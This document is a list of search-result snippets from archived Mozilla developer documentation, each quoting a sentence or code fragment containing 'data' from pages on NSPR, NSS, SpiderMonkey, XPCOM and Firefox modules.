parameters none examples using the fxaccountsoauthclient chrome code let parameters = { oauth_uri: oauth_server_endpoint, client_id: oauth_client_id, content_uri: content_server_url, state: oauth_state } let client = new fxaccountsoauthclient({ parameters: parameters }); client.oncomplete = function (tokendata) { // tokendata consists of two properties: "tokendata.state" and "tokendata.code" }; client.launchwebflow(); ...
OS.File.Info
instances of os.file.info represent file metadata, such as the size of the file, its last modification date, etc.
PopupNotifications.jsm
this object contains all the data necessary to present and manage the notification, and has one method.
Task.jsm
promise spawn( atask ); parameters atask this parameter accepts different data types: if you specify a generator function, it is called with no arguments to retrieve the associated iterator.
WebChannel.jsm
examples setting up a webchannel between chrome code and a webpage chrome code let channel = new webchannel(webchannelid, services.io.newuri("https://mozilla.org", null, null)); // receive messages channel.listen(function (webchannelid, message, sendercontext) { // send messages channel.send({ data: { greeting: true } }, sendercontext); }); webpage code receive messages from an existing webchannel in content code window.addeventlistener("webchannelmessagetocontent", function(e) { // receive messages console.log(e.detail); }, true); send messages to an existing webchannel in chrome code window.dispatchevent(new window.customevent("webchannelmessagetochrome", { detail: { ...
JavaScript code modules
netutil.jsm provides helpful networking utility functions, including the ability to easily copy data from an input stream to an output stream asynchronously.
Bootstrapping a new locale
$ hg pull -u # to pull changes and update $ hg push # to push changes to this repo import existing data?
Mozilla Development Strategies
it's better to fix one data loss bug, crasher, or performance bug that really affects the user than edge case bugs that are rarely seen or minor bugs.
Mozilla Development Tools
bugzilla bugzilla is where developers can report bugs in the mozilla source releases, and browse an online database of already-reported bugs.
Activity Monitor, Battery Status Menu and top
it will show periodically-updating data like the following.
GC and CC logs
by default, they go to a temporary directory which differs per os - it's /tmp/ on linux/bsd, $localappdata\temp\ on windows, and somewhere in /var/folders/ on mac (whatever the directory service returns for tmpd/ns_os_temp_dir).
GPU performance
os x - best practices for working with texture data - sort of old, but still useful.
Measuring performance using the PerfMeasurement.jsm code module
it doesn't, however, start to record data.
Power profiling overview
common causes of wakeups include scheduled timers going off and blocked i/o system calls receiving data.
Refcount tracing and balancing
this results in slower code, but at least you get some data about where the leaks might be occurring from.
TimerFirings logging
timerfirings logging is a feature built into gecko that prints a line of data for every timer fired.
powermetrics
run with the --show-all to see all of these at once, but note that you'll need a very wide window to see all the data.
tools/power/rapl
once sampling is finished — either because the user interrupted it, or because the requested number of samples has been taken — the following summary data is shown: 10 samples taken over a period of 10.000 seconds distribution of 'total' values: mean = 8.85 w std dev = 3.50 w 0th percentile = 5.17 w (min) 5th percentile = 5.17 w 25th percentile = 5.17 w 50th percentile = 8.13 w 75th percentile = 11.16 w 95th percentile = 14.63 w 100th percentile = 14.63 w (max) the distribution data is omitted if there was zero...
browser.download.lastDir.savePerSite
if set to true, the data is stored as content preference.
Preference reference
if set to true, the data is stored as content preference.browser.pagethumbnails.capturing_disabledthe preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadinbackgroundbrow...
Preferences
the preference system makes it possible to store data for mozilla applications using a key/value pairing system.
Profile Manager
firefox and other xulrunner applications store user settings and data in special folders, called profiles.
A guide to searching crash reports
specifically, crash-stats offers two basic functions: searching you can search the crash reports database by over 100 criteria: crash signature, date, platform, product, version, etc.
AsyncTestUtils extended framework
when i/o results in newly read data it places an event in the queue.
NSPR's Position On Abrupt Thread Termination
in these cases, the presence of the data is recorded only on the stack, known only to the single thread (normally referred to as encapsulated).
Nonblocking IO In NSPR
pr_available() when <tt>pr_available()</tt> returns 0, it may mean one of two things: there is no data available for reading on that socket.
Anonymous Shared Memory
nspr provides helper functions for extracting data from the prfilemap object.
Atomic Operations
these functions operate on 32-bit integers: pr_atomicincrement pr_atomicdecrement pr_atomicset pr_atomicadd these functions implement a simple stack data structure: pr_createstack pr_stackpush pr_stackpop pr_destroystack ...
Date and Time
the nspr data type for clock/calendar time, called an exploded time, has the time zone information in it, so that its corresponding point in absolute time is uniquely specified.
Dynamic Library Linking
library linking types these data types are defined for dynamic library linking: prlibrary prstaticlinktable library linking functions the library linking functions are: pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding symbols defined in the main executable program pr_loadlibrary cannot open a handle that references the main executable program.
Hash Tables
this chapter describes the hash table functions in the plds (portable library — data structures) library of nspr.
I/O Types
file info types prfileinfo prfileinfo64 prfiletype network address types prnetaddr pripv6addr types used with socket options functions prsocketoptiondata prsockoption prlinger prmcastrequest type used with memory-mapped i/o prfilemap offset interpretation for seek functions prseekwhence ...
Monitors
unlike a mutex of type prlock, a mutex of type prmonitor has a single, implicitly associated condition variable that may be used to facilitate synchronization of threads with the change in state of monitored data.
NSPR Error Handling
pr_tpd_range_error attempt to access a thread-private data index that is out of range of any index that has been allocated to the process.
Named Shared Memory
no assumptions about the persistence of data in the named file should be made.
PLHashAllocOps
the first argument, pool, for all four functions is a void * pointer that is a piece of data for the memory allocator.
PLHashEnumerator
when all the table entries are enumerated, each entry is passed to a user-specified function of type plhashenumerator with the hash table entry, an integer index, and an arbitrary piece of user data as argument.
PL_NewHashTable
when the allocation functions in allocops are invoked, the allocation private data allocpriv is passed as the first argument (pool).
PRCList
it can be used as the anchor of a list and can be embedded in data structures that are maintained in a linked list.
PRFileDesc
secret layer-dependent implementation data.
PRThreadType
this arrangement implies that a system thread should not have volatile data that needs to be safely stored away.
PR_Assert
returns nothing description this function displays data in the log.
PR_CEnterMonitor
syntax #include <prcmon.h> prmonitor* pr_centermonitor(void *address); parameter the function has the following parameter: address a reference to the data that is to be protected by the monitor.
PR_CNotify
notify a thread waiting on a change in the state of monitored data.
PR_CNotifyAll
notifies all the threads waiting for a change in the state of monitored data.
PR_CWait
when the thread resumes execution, it is the caller's responsibility to test the state of the monitored data to determine the appropriate action.
PR_Connect
if pr_connect is invoked on a udp socket, it has an overloaded meaning: pr_connect merely saves the specified address as the default peer address for the socket, so that subsequently one can send and receive datagrams from the socket using pr_send and pr_recv instead of the usual pr_sendto and pr_recvfrom.
PR_CreatePipe
data written into the write end of the pipe can be read from the read end of the pipe.
PR_DetachThread
the thread object and all related data attached to it are destroyed.
PR_FindSymbol
use this function to look up functions or data symbols in a shared library.
PR_IntervalNow
prstatus rv; printervaltime epoch = pr_intervalnow(); pr_lock(data->mutex); while (!evaluatedata(data)) /* wait until condition is met */ { pruint32 delta = pr_intervaltomilliseconds(pr_intervalnow() - epoch); if (delta > interval) break; /* timeout */ rv = pr_wait(data->condition, pr_millisecondstointerval(interval - delta)); if (pr_failure == rv) break; /* likely an interrupt */ } pr_unlock(data->mutex); ...
PR_NETDB_BUF_SIZE
syntax #include <prnetdb.h> #if defined(aix) || defined(osf1) #define pr_netdb_buf_size sizeof(struct protoent_data) #else #define pr_netdb_buf_size 1024 #endif ...
PR_NewCondVar
syntax #include <prcvar.h> prcondvar* pr_newcondvar(prlock *lock); parameter pr_newcondvar has one parameter: lock the identity of the mutex that protects the monitored data, including this condition variable.
PR_Open
pr_sync 0x40 if set, each write will wait for both the file data and file status to be physically updated.
PR_ProcessAttrSetInheritableFileMap
syntax #include <prshma.h> nspr_api(prstatus) pr_processattrsetinheritablefilemap( prprocessattr *attr, prfilemap *fm, const char *shmname ); parameters the function has the following parameters: attr pointer to a prprocessattr structure used to pass data to pr_createprocess.
PR_Recv
buf a pointer to a buffer to hold the data received.
PR_RecvFrom
buf a pointer to a buffer containing the data received.
PR_Send
buf a pointer to a buffer containing the data to be sent.
PR_SendTo
buf a pointer to a buffer containing the data to be sent.
PR_WaitCondVar
the latter must be determined by treating time as one part of the monitored data being protected by the lock and tested explicitly for an expired interval.
NSPR API Reference
ers 64-bit integer types floating-point integer type native os integer types miscellaneous types size type pointer difference types boolean types status type for return values threads threading types and constants threading functions creating, joining, and identifying threads controlling thread priorities controlling per-thread private data interrupting and yielding setting global thread concurrency getting a thread's scope process initialization identity and versioning name and version constants initialization and cleanup module initialization locks lock type lock functions condition variables condition variable type condition variable functions monitors monitor type monitor functi...
Using JSS
MozillaProjectsNSSJSSUsing JSS
jss dependencies core library name description binary release location nspr4 nspr os abstraction layer http://ftp.mozilla.org/pub/mozilla.org/nspr/releases plc4 nspr standard c library replacement functions plds4 nspr data structure types nss3 nss crypto, pkcs #11, and utilities http://ftp.mozilla.org/pub/mozilla.org/security/nss/releases ssl3 nss ssl library smime3 nss s/mime functions and types nssckbi pkcs #11 module containing built-in root ca certificates.
JSS
MozillaProjectsNSSJSS
a current limitation to the configured sunpkcs11-nss bridge configuration is if you add a pkcs#11 module to the nss database such as for a smartcard, you won't be able to access that smartcard through the sunpkcs11-nss bridge.
NSS_3.11.10_release_notes.html
bug 291384: certutil -k behavior doesn't match usage bug 374247: modutil -disable command not disabling modules' slots bug 384459: certification path validation fails when authority key identifier extension contains key identifier bug 385946: can't import certificate into cert database in fips mode (certutil).
NSS_3.12.1_release_notes.html
bug 439123: assertion failure in libpkix at shutdown bug 440062: incorrect list element count in pkix_list_appenditem function bug 442618: eliminate dead function cert_certpackagetype bug 443755: extra semicolon in pkm_tlskeyandmacderive makes conditional code unconditional bug 443760: extra semicolon in seqdatabase makes static analysis tool suspicious bug 448323: certutil -k doesn't report the token and slot names for found keys bug 448324: ocsp checker returns incorrect error code on request with invalid signing cert bug 449146: remove dead libsec function declarations bug 453227: installation of pem-encoded certificate without trailing newline fails documentation for a list of the primary ...
NSS 3.12.6 release notes
bug 542538: nss: add function for recording ocsp stapled replies bug 544191: use system zlib on mac os x bug 544584: segmentation fault when enumerating the nss database bug 544586: various nss-sys-init patches from fedora bug 545273: remove unused function sec_init bug 546389: nsssysinit binary built inside source tree documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation.
NSS 3.14.4 release notes
bug 894370 - (cve-2013-1739) avoid uninitialized data read in the event of a decryption failure.
NSS 3.15.2 release notes
bug 894370 - (cve-2013-1739) avoid uninitialized data read in the event of a decryption failure.
NSS 3.21 release notes
global ca 3 sha-1 fingerprint: ab:48:f3:33:db:04:ab:b9:c0:72:da:5b:0c:c1:d0:57:f0:36:9b:46 cn = utn - datacorp sgc sha-1 fingerprint: 58:11:9f:0e:12:82:87:ea:50:fd:d9:87:45:6f:4f:78:dc:fa:d6:d4 o = tÜrktrust bilgi İletişim ve bilişim güvenliği hizmetleri a.Ş.
NSS 3.27.2 Release Notes
if this function is not used, nss will include the distinguished names for all trust anchors installed in the database.
NSS 3.28.1 release notes
:c9:fb:58:77:1f:6f:61:6f:9d:57:1b:c5:92 cn = symantec class 2 public primary certification authority - g6 sha-256 fingerprint: cb:62:7d:18:b5:8a:d5:6d:de:33:1a:30:45:6b:c6:5c:60:1a:4e:9b:18:de:dc:ea:08:e7:da:aa:07:81:5f:f0 the version number of the updated root ca list has been set to 2.11 a misleading assertion/alert has been removed, when nss tries to flush data to the peer but the connection was already reset.
NSS 3.28.3 release notes
that size increase caused crashes or malfunctioning with applications that use that data structure directly, or indirectly through ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecparams.
NSS 3.29.1 release notes
that size increase caused crashes or malfunctioning with applications that use that data structure directly, or indirectly through ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecparams.
NSS 3.30 release notes
the pk12util tool now supports importing and exporting data encrypted in the aes based schemes defined in pkcs#5 v2.1.
NSS 3.33 release notes
new in nss 3.33 new functionality when listing an nss database, using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing.
NSS 3.34.1 release notes
sha-256 fingerprint: d8:e0:fe:bc:1d:b2:e3:8d:00:94:0f:37:d2:7d:41:34:4d:99:3e:73:4b:99:d5:65:6d:97:78:d4:d8:14:36:24 removed entries from certdata.txt for actively distrusted certificates that have expired (bug 1409872).
NSS 3.36.1 release notes
notable changes in nss 3.36.1 in nss version 3.35 the iteration count in optimized builds, which is used for password based encryption algorithm related to encrypted pkcs#7 or pkcs#12 data, was increased to one million iterations.
NSS 3.37 release notes
nss supports opening sql databases in read-only mode.
NSS 3.39 release notes
certutil added the ability to delete an orphan private key from an nss key database.
NSS 3.44 release notes
pport in pk11pars.c 1540205 - freebl build fails with -dnss_disable_chachapoly 1532312 - post-handshake auth doesn't interoperate with openssl 1542741 - certutil -f crashes with segmentation fault 1546925 - allow preceding text in try comment 1534468 - expose chacha20 primitive 1418944 - quote cc/cxx variables passed to nspr 1543545 - allow to build nss as a static library 1487597 - early data that arrives before the handshake completes can be read afterwards 1548398 - freebl_gtest not building on linux/mac 1548722 - fix some coverity warnings 1540652 - softoken/sdb.c: logically dead code 1549413 - android log lib is not included in build 1537927 - ipsec usage is too restrictive for existing deployments 1549608 - signature fails with dbm disabled 1549848 - allow building nss for...
NSS 3.45 release notes
mize away unneeded loop in mpi.c bug 1559906 - fipstest: use ckm_tls12_master_key_derive instead of vendor specific mechanism bug 1558126 - tls_aes_256_gcm_sha384 should be marked as fips compatible bug 1555207 - helloretryrequestcallback return code for rejecting 0-rtt bug 1556591 - eliminate races in uses of pk11_setwrapkey bug 1558681 - stop using a global for anti-replay of tls 1.3 early data bug 1561510 - fix a bug where removing -arch xxx args from cc didn't work bug 1561523 - add a string for the new-ish error ssl_error_missing_post_handshake_auth_extension this bugzilla query returns all the bugs fixed in nss 3.45: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.45 compatibility nss 3.4...
NSS 3.49.2 release notes
nss 3.49.1 sped up pbkdf2 operations, though pbkdf1 operations are also relevant for older nss databases.
NSS 3.50 release notes
nss 3.49.1 sped up pbkdf2 operations, though pbkdf1 operations are also relevant for older nss databases (also included in nss 3.49.2) bug 1608895 - gyp builds on taskcluster broken by setuptools v45.0.0 (for lacking python3) bug 1574643 - upgrade hacl* verified implementations of chacha20, poly1305, and 64-bit curve25519 bug 1608327 - two problems with neon-specific code in freebl bug 1575843 - detect aarch64 cpu features on freebsd bug 1607099 - remove the buildbot configuration bug 158...
NSS Sample Code sample5
26) + 'a'; } buf1[modulus_len-1] = '\0'; fprintf(stderr, "buffer being encrypted = \n%s\n", buf1); /* encrypt buf1, result will be in buf2 */ rv = pk11_pubencryptraw(pubkey, buf2, buf1, modulus_len, null); if (rv != secsuccess) { fprintf(stderr, "encrypt with public key failed (err %d)\n", pr_geterror()); goto cleanup; } nickname.type = sibuffer; nickname.data = "pvtkeynickname"; nickname.len = strlen("pvtkeynickname"); rv = atob_convertasciitoitem(&der, pvtkstr); if (rv!= secsuccess) { fprintf(stderr, "atob_convertasciitoitem failed %d\n", pr_geterror()); goto cleanup; } /* ku_all includes a lot of different key usages, ku_data_encipherment * is enough for just rsa encryption.
NSS Sample Code
sample code 1: key generation and transport between servers sample code 2: symmetric encryption sample code 3: hashing, mac sample code 4: pki encryption sample code 5: pki encryption with a raw public & private key in der format sample code 6: persistent symmetric keys in nss database these are very old examples in need of replacement.
New NSS Samples
see https://bugzilla.mozilla.org/show_bug.cgi?id=490238 how to download the samples: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch samples list: sample code 1: hashing sample code 2: init nss database sample code 3: encrypt/decrypt and mac using token sample code 4: encrypt/decrypt and mac using session objects sample code 5: encrypt/decrypt/mac output public key as a csr sample code 6: encrypt/decrypt/mac generating a pkcs#11 csr common code used by these samples: sample code 0: utilities thanks are due to shailendra jain, mozilla community member, who is the principal author ...
PKCS11 module installation
choose "advanced" > "encryption" > "security devices" choose "load" enter a name for the security module, such as "my client database".
PKCS 7 functions
3.4 and later sec_pkcs7contentisencrypted mxr 3.4 and later sec_pkcs7contentissigned mxr 3.4 and later sec_pkcs7contenttype mxr 3.2 and later sec_pkcs7copycontentinfo mxr 3.4 and later sec_pkcs7createcertsonly mxr 3.3 and later sec_pkcs7createdata mxr 3.2 and later sec_pkcs7createencrypteddata mxr 3.2 and later sec_pkcs7createenvelopeddata mxr 3.2 and later sec_pkcs7createsigneddata mxr 3.2 and later sec_pkcs7decodeitem mxr 3.2 and later sec_pkcs7decoderabort mxr 3.9 and later ...
FC_GetTokenInfo
ulsessioncount: number of sessions that this application currently has open with the token ulrwsessioncount: number of read/write sessions that this application currently has open with the token hardwareversion: hardware version number, for example, 8.3 (major=0x08, minor=0x03), which are the version numbers of the certificate and key databases, respectively.
FC_Login
ckr_user_type_invalid the token can't authenticate the user because there is no key database or the user's password isn't initialized.
FC_SignRecoverInit
description fc_signrecoverinit initializes a initializes a signature operation where the (digest) data can be recovered from the signature.
FC_VerifyInit
description fc_verifyinit initializes a verification operation where the signature is an appendix to the data.
NSC_Login
ckr_user_type_invalid the token can't authenticate the user because there is no key database or the user's password isn't initialized.
troubleshoot.html
kernel data structures may remain allocated for these connections for up to two minutes.
TLS Cipher Suite Discovery
they must agree on these items: key establishment algorithm (such as rsa, dh, or ecdh) peer authentication algorithm (such as rsa, dsa, ecdsa) bulk data encryption algorithm (such as rc4, des, aes) and key size digest algorithm for message authentication checking (sha1, sha256) there are numerous available choices for each of those categories, and the number of possible combinations of all those choices is large.
NSS_3.12.3_release_notes.html
s for seed support: in blapit.h: nss_seed nss_seed_cbc seed_block_size seed_key_length in pkcs11t.h: ckk_seed ckm_seed_key_gen ckm_seed_ecb ckm_seed_cbc ckm_seed_mac ckm_seed_mac_general ckm_seed_cbc_pad ckm_seed_ecb_encrypt_data ckm_seed_cbc_encrypt_data in secmod.h: public_mech_seed_flag in secmodt.h: secmod_seed_flag in secoidt.h: sec_oid_seed_cbc in sslproto.h: tls_rsa_with_seed_cbc_sha in sslt.h: ssl_calg_seed new structure for seed support: ...
NSS Tools pk12util-tasks
use nss functions in pcertdb for handling older database ...
Network Security Services
general format of the cert7.db database.
Necko Interfaces Overview
http) maps uri string to nsiuri instance via newuri method creates nsichannel instance from nsiuri instance via newchannel method nsistreamlistener : nsirequestobserver implemented by the consumer of a nsichannel instance passed to nsichannel::asyncopen method nsirequestobserver::onstartrequest - notifies start of async download nsistreamlistener::ondataavailable - notifies presence of downloaded data nsirequestobserver::onstoprequest - notifies completion of async download, possibly w/ error nsiloadgroup : nsirequest attribute of a nsirequest channel impl adds itself to its load group during invocation of asyncopen channel impl removes itself from its load group when download completes load groups in gecko own all channels used to load a...
Multithreading in Necko
as with the socket transport thread, the nsistreamlistener passed to a file transport's asyncread method can operate partially on the file transport's thread before proxying data to the main thread.
Rhino license
in no event shall the copyright owner or * contributors be liable for any direct, indirect, incidental, special, * exemplary, or consequential damages (including, but not limited to, * procurement of substitute goods or services; loss of use, data, or * profits; or business interruption) however caused and on any theory of * liability, whether in contract, strict liability, or tort (including * negligence or otherwise) arising in any way out of the use of this * software, even if advised of the possibility of such damage.
Rhino optimization
simple data and type flow analysis is performed to determine which javascript variables can be allocated to java vm registers, and which variables are used only as numbers.
Rebranding SpiderMonkey (1.8.5)
few lines until you see these lines: install:: $(pkg_config_files) @echo pkg_config_file: $(pkg_config_files) those two lines should be modified to read back: install:: $brand.pc @echo pkg_config_file: $brand.pc note: while it is possible to automate the manual editing process, this has been discouraged due to the fact that these files are automatically generated and very little constant data can be depended upon.
SpiderMonkey compartments
false sharing occurs when we are trying to operate on an object and we have to read an entire cache line of data into the cpu cache.
FOSS
python.org/pypi/python-spidermonkey wxwidgets gluescript (formerly wxjavascript) code generators jsapigen - generates bindings for embedding spidermonkey in c applications extensions http://code.google.com/p/jslibs/ - zlib, sqlite, nspr, ode, libpng, libjpeg, libffi, (...) libraries for spidermonkey http://www.jsdb.org/ - a js shell with native objects for files, networks, databases, compression, email, etc.
Future directions
we would also like to allow webassembly to interact with gc-managed data.
Functions
this is fast if the global either doesn't exist before the script runs (the script creates it) or it's a non-configurable data property (which amounts to the same thing).
SpiderMonkey Internals: Thread Safety
in a js_threadsafe build, these operations are handled specially: access to jsruntime data structures garbage collection accesses to jsruntime data structures are serialized with a few mutexes.
JS::Add*Root
the garbage collector aggressively collects and recycles memory that it deems unreachable, so roots are often necessary to protect data from being prematurely collected.
JS::PersistentRooted
these roots can be used in heap-allocated data structures, so they are not associated with any particular jscontext or stack.
JS::Value
the data in a js::value can be accessed using these member functions: js type js::value type tests constructor accessors mutators null val.isnull() js::nullvalue() n/a val.setnull() undefined val.isundefined() js::undefinedvalue() n/a val.setundefined() boolean val.isboolean(), val.istrue(), val.isfalse() js::booleanvalue(bool), ...
JSErrorReport
this is the buffer that contains the original data.
JSFinalizeOp
the finalizer's job is to clean up any resources allocated by the instance which wouldn't normally be cleaned up by the garbage collector (private data stored in the object by the application, file handles, etc.) finalizers must never store a reference to obj.
JSMarkOp
arg void * opaque data which the mark hook must pass through to js_markgcthing.
JSObjectOps.dropProperty
in a js_threadsafe build, any consistency observed by multiple threads operating on the same data is provided solely by the property locking scheme described above.
JSObjectOps.enumerate
then it iterates over obj's defined properties, walking the internal data structure they're stored in.
JSObjectOps.getRequiredSlot
note: the slot parameter is a zero-based index into obj slots, unlike the index parameter to the js_getreservedslot and js_setreservedslot api entry points, which is a zero-based index into the jsclass_reserved_slots(clasp) reserved slots that come after the initial well-known slots: proto, parent, class, and optionally, the private data slot.
JSObjectOps.newObjectMap
description note: the jsapi does not expose the data structure that would be necessary to develop new jsobjectmap subclasses.
JSPrincipals
the data content of a principals object is defined by the application, which creates instances of jsprincipals, initializes their refcount fields to 1, and passes them into the engine through the js_...forprincipals functions.
JSPropertyDescriptor
there are two main types of property descriptors that exist in an object: a data descriptor and an access descriptor.
JSProtoKey
r jsproto_float64array jsproto_uint8clampedarray uint8clampedarray mxr search for jsproto_uint8clampedarray jsproto_proxy proxy mxr search for jsproto_proxy jsproto_weakmap weakmap mxr search for jsproto_weakmap jsproto_map map mxr search for jsproto_map jsproto_set set mxr search for jsproto_set jsproto_dataview dataview mxr search for jsproto_dataview jsproto_symbol symbol added in spidermonkey 38 mxr search for jsproto_symbol jsproto_sharedarraybuffer sharedarraybuffer (nightly only) mxr search for jsproto_sharedarraybuffer jsproto_intl intl mxr search for jsproto_intl jsproto_typedobject typedobject (nightly only) mxr sear...
JSTraceOp
description jstraceop is the function type for trace operation of the class called to enumerate all traceable things reachable from obj's private data structure.
JSVAL_IS_DOUBLE
example the following code snippet illustrates how a javascript variable, myitem, is conditionally tested in an if statement to see if it is a js double data type.
JSVAL_IS_INT
example the following code snippet illustrates how a javascript variable, myitem, is conditionally tested in an if statement to see if it is a js integer data type.
JSXDRObjectOp
description serialize or deserialize an object, given an xdr state record representing external data.
JS_Add*Root
the garbage collector aggressively collects and recycles memory that it deems unreachable, so roots are often necessary to protect data from being prematurely collected.
JS_AlreadyHasOwnProperty
for native objects—objects whose properties are stored in the default data structure provided by spidermonkey—these functions simply check that data structure to see if the specified field is present.
JS_GC
obsolete since jsapi 50 description js_gc performs garbage collection of js objects, strings and other internal data structures that are no longer reachable in the specified context or runtime.
JS_InternString
s const char * or const char16_t * pointer to a character array containing the data for the string.
JS_NewUCString
this allows the javascript engine to avoid needless data copying.
JS_NewStringCopyN
you can use js_newstringcopyn to copy binary data or to copy only a certain portion of a c string into a javascript string.
JS_RemoveExternalStringFinalizer
otherwise, string data will be leaked by the gc, for want of a finalizer to call.
JS_SetOptions
the context's private data points to an xpcom object (see nsisupports).
JS_ShutDown
this method should be called after all other jsapi data has been properly cleaned up: every jsruntime created with js_newruntime must have been destroyed with js_destroyruntime, every jscontext created with js_newcontext must have been destroyed with js_destroycontext, and so on.
JS_malloc
failing that, js_realloc allocates a new region of size nbytes and copies as much of the existing data in p as will fit to the new region.
Property attributes
assigning to obj.x, where obj inherits a non-shared property from its prototype, creates a new own data property on obj; the prototype's .x is not shared with its children.
Stored value
for a data property, this is exactly the same thing as the property's current value.
SpiderMonkey 1.8.5
type changes jsval the base data type, jsval, which represents all possible values in javascript, has changed from 32- to 64-bits wide, and the underlying representation has changed from a c integer type to a c struct.
SpiderMonkey 1.8.7
type changes jsval the base data type, jsval, which represents all possible values in javascript, has changed from 32- to 64-bits wide, and the underlying representation has changed from a c integer type to a c struct.
SavedFrame
source metadata generated from file: js/src/doc/savedframe/savedframe.md watermark: sha256:3475238d6704c659cb3e411b9c601d6ee836762dea14203f1f00ecf2c3b32452 changeset: 251fccc1f62b ...
WebReplayRoadmap
aggregate call graph and data flow (not yet implemented) when developing a complex web app it is often hard to find where a function is called, the callees at a call site, where some data in an object came from or where it is used, or what type a value has.
The Rust programming language
in addition, rust offers zero-cost abstractions, move semantics, guaranteed memory safety, threads with no data races, trait-based generics, pattern matching, type inference, and efficient c bindings, with a minimum runtime size.
Security and the jar protocol
firefox 2.0.0.10 (and firefox 1.5.0.15) fixed a potential security issue in the same origin policy when the jar: protocol was used to load data.
A Web PKI x509 certificate primer
examples of key usages are: digitalsignature, keyencipherment, dataencipherment, keycertsign, and crlsign.
Signing Mozilla apps for Mac OS X
--requirement 'designated requirement' adds additional requirements for verifying the signature and application metadata.
Embedded Dialog API
the print dialogs should be available soon.) dialogs posed by the embedding app ("down calls") some components will not pose dialogs directly, but maintain a database of information an embedding app may wish to display as a dialog.
Querying Places
the defaults for these objects will result in a query that returns all of your browser history in a flat list: chromeutils.definemodulegetter(this, "placesutils", "resource://gre/modules/placesutils.jsm"); // no query options set will get all history, sorted in database order, // which is nsinavhistoryqueryoptions.sort_by_none.
Retrieving part of the bookmarks tree
it contains administrative data as well as user data, and is therefore not recommended for use in querying.
extISessionStorage
this content covers features introduced in thunderbird 3 extisessionstorage allows an extension to store data for the life time of the application (e.g.
XPCOM changes in Gecko 2.0
instead, it exports an nsmodule data symbol which points to a mozilla::module structure.
Building the WebLock UI
these include bindings in xml files, metadata in rdf files, whole collections of css files called skins, and others.
Creating the Component Code
the includes and definitions at the top of an xpcom source file can give you an idea about some of the data types and techniques we'll be discussing more in the upcoming chapters.
Using XPCOM Components
the webbrowserfind component components are used all over - in high-level browser-like functionality such as nswebbrowserfind, which provides find() and findnext() methods for finding content in web pages, and in low-level tasks such as the manipulation of data.
Creating XPCOM components
syntax scriptable interfaces subclassing nsisupports the web locking interface implementing weblock declaration macros representing return values in xpcom xpidl code generation getting the weblock service from a client implementing the iweblock interface the directory service modifying paths with nsifile manipulating files with nsifile using nsilocalfile for reading data processing the white list data iweblock method by method lock and unlock addsite removesite setsites getnext getsites hasmoreelements finishing the component using frozen interfaces copying interfaces into your build environment implementing the nsicontentpolicy interface receiving notifications implementing the nsicontentpolicy uniform resource l...
Components.isSuccessCode
examples checking whether copying a stream's data succeeded the following example demonstrates copying data from a buffered nsiinputstream to an nsioutputstream, checking for whether the copy succeeded using components.issuccesscode().
Components.utils.import
this means components.utils.import is better suited for efficient sharing of code (and data?) between js scripts running in different scope.
nsIRegistry
try { st.first(); do { var data = st.currentitem(); if( data instanceof ci.nsiregistrynode ) print("nsiregistrynode: " + data.nameutf8 + " (" + data.key + ")"); st.next(); } while( components.lastresult == 0 ); } catch(e) {} now, the output is something like: profiles (344) profiles/default (530) profiles/foo (1046) profiles/bar (1518) the number inside the parenthesis is the "key." you can use this key with t...
HOWTO
"component returned failure code: 0x80040111 (ns_error_not_available) [nsixpccomponents_utils.import]" nsresult: "0x80040111 (ns_error_not_available)" location: "js frame :: file.js :: <top_level> :: line 12" data: no] solution 1 var loader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); loader.loadsubscript("chrome://myall/content/file.jsm"); see: http://mxr.mozilla.org/comm-central/...figutils.js#54 solution 2 append the following at the top of your js file which you want to run in xpcshell { // <https://developer.mozilla.org...
Monitoring HTTP activity
// define a reference to the interfacevar nsihttpactivityobserver = components.interfaces.nsihttpactivityobserver; var httpobserver = { observeactivity: function(ahttpchannel, aactivitytype, aactivitysubtype, atimestamp, aextrasizedata, aextrastringdata) { if (aactivitytype == nsihttpactivityobserver.activity_type_http_transaction) { switch(aactivitysubtype) { case nsihttpactivityobserver.activity_subtype_response_header: // received response header break; case nsihttpactivityobserver.activity_subtype_response_complete: // received complete http response ...
nsScriptableInputStream
.nsiscriptableinputstream; function consumestream(inputstream) { var factory = components.classes["@mozilla.org/scriptableinputstream;1"]; var sis = factory.createinstance(nsiscriptableinputstream); sis.init(inputstream); try { while (true) { var chunk = sis.read(512); if (chunk.length == 0) break; // ok, chunk now contains a portion of the stream's data.
nsresult
« xpcom api reference the nsresult data type is a strongly-typed enum used to represent a value returned by an xpcom function; these are typically error or status codes.
Core XPCOM functions
es a platform independent representation of a file path.ns_newnativelocalfilethe ns_newnativelocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.ns_reallocreallocates a block of memory using the xpcom memory manager.ns_shutdownxpcomthe ns_shutdownxpcom function terminates use of xpcom in the calling process.nsresultthe nsresult data type is a strongly-typed enum used to represent a value returned by an xpcom function; these are typically error or status codes.
Folders
folders have a number of interesting attributes: parent subfolder server uri flags and methods getdatabase ( how to get a database of the messages in the folder.) updatefolder (gets new messages for that folder, if applicable, e.g., pop3 inboxes, imap folders, news folders, rss folders) ...
operator=
self_type& operator=( const char_type* adata ); parameters adata [in] a raw character array to append to this string.
operator+=
self_type& operator+=( const char_type* adata ); parameters adata [in] a raw character array to append to this string.
operator=
self_type& operator=( const char_type* adata ); parameters adata [in] a raw character array to append to this string.
operator+=
self_type& operator+=( const char_type* adata ); parameters adata [in] a raw character array to append to this string.
operator=
self_type& operator=( const char_type* adata ); parameters adata [in] a raw character array to append to this string.
get
const char_type* get() const; example code void getbar(nsastring &result); void func() { nsembedstring str; getbar(str); const prunichar *data = str.get(); ...
operator=
self_type& operator=( const char_type* adata ); parameters adata [in] a raw character array to append to this string.
IAccessible2
the at could cache the uniqueids in addition to other data being cached.
imgICache
